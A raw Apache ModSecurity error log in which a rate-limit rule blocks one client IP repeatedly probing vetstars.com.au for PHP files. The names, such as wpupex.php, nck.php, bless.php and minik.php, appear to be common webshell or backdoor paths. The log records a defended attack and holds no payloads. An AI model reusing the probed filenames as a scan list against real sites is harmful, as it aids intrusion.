[Mon Jan 05 18:49:21.630730 2026] [:error] [pid 28407:tid 28423] [client 4.197.220.165:15572] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aVuXMdercd3ptydUzM0xKwAAAYw"]
[Mon Jan 05 18:49:21.722313 2026] [:error] [pid 54081:tid 54099] [client 4.197.220.165:15615] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpupex.php"] [unique_id "aVuXMVL4jLgtF-b9w4dvNwAAAU8"]
[Mon Jan 05 18:49:21.804770 2026] [:error] [pid 28407:tid 28425] [client 4.197.220.165:15497] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpupex.php"] [unique_id "aVuXMdercd3ptydUzM0xLAAAAY4"]
[Mon Jan 05 18:49:21.856911 2026] [:error] [pid 5535:tid 5588] [client 4.197.220.165:15496] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpupex.php"] [unique_id "aVuXMWnkedMjhVX0PTVdBgAAAFI"]
[Mon Jan 05 18:49:22.026668 2026] [:error] [pid 6680:tid 6684] [client 4.197.220.165:15545] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpupex.php"] [unique_id "aVuXMqE58uNoazzTmx3YswAAAQI"]
[Mon Jan 05 18:49:22.129199 2026] [:error] [pid 5534:tid 5566] [client 4.197.220.165:15526] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nck.php"] [unique_id "aVuXMpNs9XmbR6unB0ylcAAAABc"]
[Mon Jan 05 18:49:22.269770 2026] [:error] [pid 5535:tid 5593] [client 4.197.220.165:15492] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nck.php"] [unique_id "aVuXMmnkedMjhVX0PTVdBwAAAFc"]
[Mon Jan 05 18:49:22.707616 2026] [:error] [pid 54081:tid 54098] [client 4.197.220.165:15614] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nck.php"] [unique_id "aVuXMlL4jLgtF-b9w4dvOAAAAU4"]
[Mon Jan 05 18:49:23.008003 2026] [:error] [pid 28407:tid 28410] [client 4.197.220.165:15599] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nck.php"] [unique_id "aVuXM9ercd3ptydUzM0xMAAAAYA"]
[Mon Jan 05 18:49:23.332850 2026] [:error] [pid 5536:tid 5597] [client 4.197.220.165:15598] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aVuXMwRtMZNG6xI8yDzN0QAAAIA"]
[Mon Jan 05 18:49:23.510739 2026] [:error] [pid 28407:tid 28412] [client 4.197.220.165:11212] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aVuXM9ercd3ptydUzM0xMQAAAYI"]
[Mon Jan 05 18:49:23.716778 2026] [:error] [pid 5536:tid 5600] [client 4.197.220.165:15488] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aVuXMwRtMZNG6xI8yDzN1wAAAIM"]
[Mon Jan 05 18:49:24.409676 2026] [:error] [pid 5534:tid 5552] [client 4.197.220.165:15574] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aVuXNJNs9XmbR6unB0ylcgAAAAk"]
[Mon Jan 05 18:49:24.615093 2026] [:error] [pid 5535:tid 5580] [client 4.197.220.165:15510] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVuXNGnkedMjhVX0PTVdDAAAAEo"]
[Mon Jan 05 18:49:24.673076 2026] [:error] [pid 5534:tid 5567] [client 4.197.220.165:15512] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVuXNJNs9XmbR6unB0ylcwAAABg"]
[Mon Jan 05 18:49:24.775178 2026] [:error] [pid 5534:tid 5551] [client 4.197.220.165:15563] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVuXNJNs9XmbR6unB0yldAAAAAg"]
[Mon Jan 05 18:49:24.979146 2026] [:error] [pid 5535:tid 5576] [client 4.197.220.165:15575] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVuXNGnkedMjhVX0PTVdDQAAAEY"]
[Mon Jan 05 18:49:25.020494 2026] [:error] [pid 5534:tid 5548] [client 4.197.220.165:15578] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aVuXNZNs9XmbR6unB0yldQAAAAU"]
[Mon Jan 05 18:49:25.078061 2026] [:error] [pid 5536:tid 5603] [client 4.197.220.165:15515] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aVuXNQRtMZNG6xI8yDzN5AAAAIY"]
[Mon Jan 05 18:49:25.278115 2026] [:error] [pid 5534:tid 5550] [client 4.197.220.165:15531] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aVuXNZNs9XmbR6unB0yldgAAAAc"]
[Mon Jan 05 18:49:25.479284 2026] [:error] [pid 6680:tid 6706] [client 4.197.220.165:15607] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-activate.php"] [unique_id "aVuXNaE58uNoazzTmx3YuAAAARg"]
[Mon Jan 05 18:49:25.966981 2026] [:error] [pid 6680:tid 6699] [client 4.197.220.165:15565] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aVuXNaE58uNoazzTmx3YuQAAARE"]
[Mon Jan 05 18:49:26.160348 2026] [:error] [pid 5534:tid 5558] [client 4.197.220.165:15504] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aVuXNpNs9XmbR6unB0yleQAAAA8"]
[Mon Jan 05 18:49:26.286242 2026] [:error] [pid 5536:tid 5599] [client 4.197.220.165:15567] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aVuXNgRtMZNG6xI8yDzN5gAAAII"]
[Mon Jan 05 18:49:26.424930 2026] [:error] [pid 54081:tid 54107] [client 4.197.220.165:15608] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aVuXNlL4jLgtF-b9w4dvOgAAAVc"]
[Mon Jan 05 18:49:26.836945 2026] [:error] [pid 5534:tid 5566] [client 4.197.220.165:15611] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aVuXNpNs9XmbR6unB0ylewAAABc"]
[Mon Jan 05 18:49:27.274454 2026] [:error] [pid 5534:tid 5562] [client 4.197.220.165:15591] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aVuXN5Ns9XmbR6unB0ylfQAAABM"]
[Mon Jan 05 18:49:27.586349 2026] [:error] [pid 54081:tid 54108] [client 4.197.220.165:15612] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aVuXN1L4jLgtF-b9w4dvPQAAAVg"]
[Mon Jan 05 18:49:27.970162 2026] [:error] [pid 5534:tid 5545] [client 4.197.220.165:15501] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aVuXN5Ns9XmbR6unB0ylgAAAAAI"]
[Mon Jan 05 18:49:28.611590 2026] [:error] [pid 5535:tid 5585] [client 4.197.220.165:15609] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVuXOGnkedMjhVX0PTVdFAAAAE8"]
[Mon Jan 05 18:49:28.910559 2026] [:error] [pid 54081:tid 54097] [client 4.197.220.165:15524] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVuXOFL4jLgtF-b9w4dvPgAAAU0"]
[Mon Jan 05 18:49:29.088417 2026] [:error] [pid 28407:tid 28417] [client 4.197.220.165:15581] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVuXOdercd3ptydUzM0xNAAAAYc"]
[Mon Jan 05 18:49:29.364123 2026] [:error] [pid 54081:tid 54084] [client 4.197.220.165:15573] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless.php"] [unique_id "aVuXOVL4jLgtF-b9w4dvQgAAAUA"]
[Mon Jan 05 18:49:29.582950 2026] [:error] [pid 54081:tid 54100] [client 4.197.220.165:15596] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs.php"] [unique_id "aVuXOVL4jLgtF-b9w4dvRAAAAVA"]
[Mon Jan 05 18:49:29.729102 2026] [:error] [pid 5632:tid 5648] [client 4.197.220.165:15606] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs.php"] [unique_id "aVuXOYN3ZWvlOh-nbt-wpwAAAMQ"]
[Mon Jan 05 18:49:29.766694 2026] [:error] [pid 5632:tid 5644] [client 4.197.220.165:15519] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs.php"] [unique_id "aVuXOYN3ZWvlOh-nbt-wqAAAAMA"]
[Mon Jan 05 18:49:29.916844 2026] [:error] [pid 28407:tid 28423] [client 4.197.220.165:11236] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blurbs.php"] [unique_id "aVuXOdercd3ptydUzM0xNQAAAYw"]
[Mon Jan 05 18:49:30.047728 2026] [:error] [pid 5535:tid 5580] [client 4.197.220.165:15588] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "aVuXOmnkedMjhVX0PTVdGwAAAEo"]
[Mon Jan 05 18:49:30.269567 2026] [:error] [pid 5534:tid 5546] [client 4.197.220.165:15530] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "aVuXOpNs9XmbR6unB0ylhAAAAAM"]
[Mon Jan 05 18:49:30.491846 2026] [:error] [pid 54081:tid 54105] [client 4.197.220.165:15569] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "aVuXOlL4jLgtF-b9w4dvRQAAAVU"]
[Mon Jan 05 18:49:30.615763 2026] [:error] [pid 5534:tid 5552] [client 4.197.220.165:15576] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cord.php"] [unique_id "aVuXOpNs9XmbR6unB0ylhgAAAAk"]
[Mon Jan 05 18:49:30.814025 2026] [:error] [pid 5534:tid 5551] [client 4.197.220.165:15529] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aVuXOpNs9XmbR6unB0ylhwAAAAg"]
[Mon Jan 05 18:49:31.482322 2026] [:error] [pid 5632:tid 5646] [client 4.197.220.165:11240] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aVuXO4N3ZWvlOh-nbt-wrAAAAMI"]
[Mon Jan 05 18:49:31.727915 2026] [:error] [pid 5632:tid 5661] [client 4.197.220.165:15595] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aVuXO4N3ZWvlOh-nbt-wrQAAANE"]
[Mon Jan 05 18:49:31.833714 2026] [:error] [pid 54081:tid 54092] [client 4.197.220.165:15536] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aVuXO1L4jLgtF-b9w4dvRgAAAUg"]
[Mon Jan 05 18:49:31.920905 2026] [:error] [pid 5632:tid 5658] [client 4.197.220.165:15610] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aVuXO4N3ZWvlOh-nbt-wrgAAAM4"]
[Mon Jan 05 18:49:31.966295 2026] [:error] [pid 5534:tid 5550] [client 4.197.220.165:15494] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aVuXO5Ns9XmbR6unB0yligAAAAc"]
[Mon Jan 05 18:49:32.247210 2026] [:error] [pid 5536:tid 5602] [client 4.197.220.165:11211] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aVuXPARtMZNG6xI8yDzN6wAAAIU"]
[Mon Jan 05 18:49:32.718163 2026] [:error] [pid 28407:tid 28416] [client 4.197.220.165:15514] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php"] [unique_id "aVuXPNercd3ptydUzM0xOAAAAYY"]
[Mon Jan 05 18:49:32.815291 2026] [:error] [pid 54081:tid 54103] [client 4.197.220.165:15517] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aVuXPFL4jLgtF-b9w4dvRwAAAVM"]
[Mon Jan 05 18:49:32.914775 2026] [:error] [pid 6680:tid 6690] [client 4.197.220.165:15554] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aVuXPKE58uNoazzTmx3YuwAAAQg"]
[Mon Jan 05 18:49:33.210787 2026] [:error] [pid 6680:tid 6697] [client 4.197.220.165:15558] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aVuXPaE58uNoazzTmx3YvwAAAQ8"]
[Mon Jan 05 18:49:33.779199 2026] [:error] [pid 5632:tid 5664] [client 4.197.220.165:15508] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/minik.php"] [unique_id "aVuXPYN3ZWvlOh-nbt-wswAAANQ"]
[Mon Jan 05 18:49:34.216257 2026] [:error] [pid 5632:tid 5663] [client 4.197.220.165:15495] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aVuXPoN3ZWvlOh-nbt-wtAAAANM"]
[Mon Jan 05 18:49:34.260932 2026] [:error] [pid 5534:tid 5553] [client 4.197.220.165:15489] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aVuXPpNs9XmbR6unB0yllQAAAAo"]
[Mon Jan 05 18:49:34.312451 2026] [:error] [pid 5632:tid 5650] [client 4.197.220.165:15600] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/OK.php"] [unique_id "aVuXPoN3ZWvlOh-nbt-wtQAAAMY"]
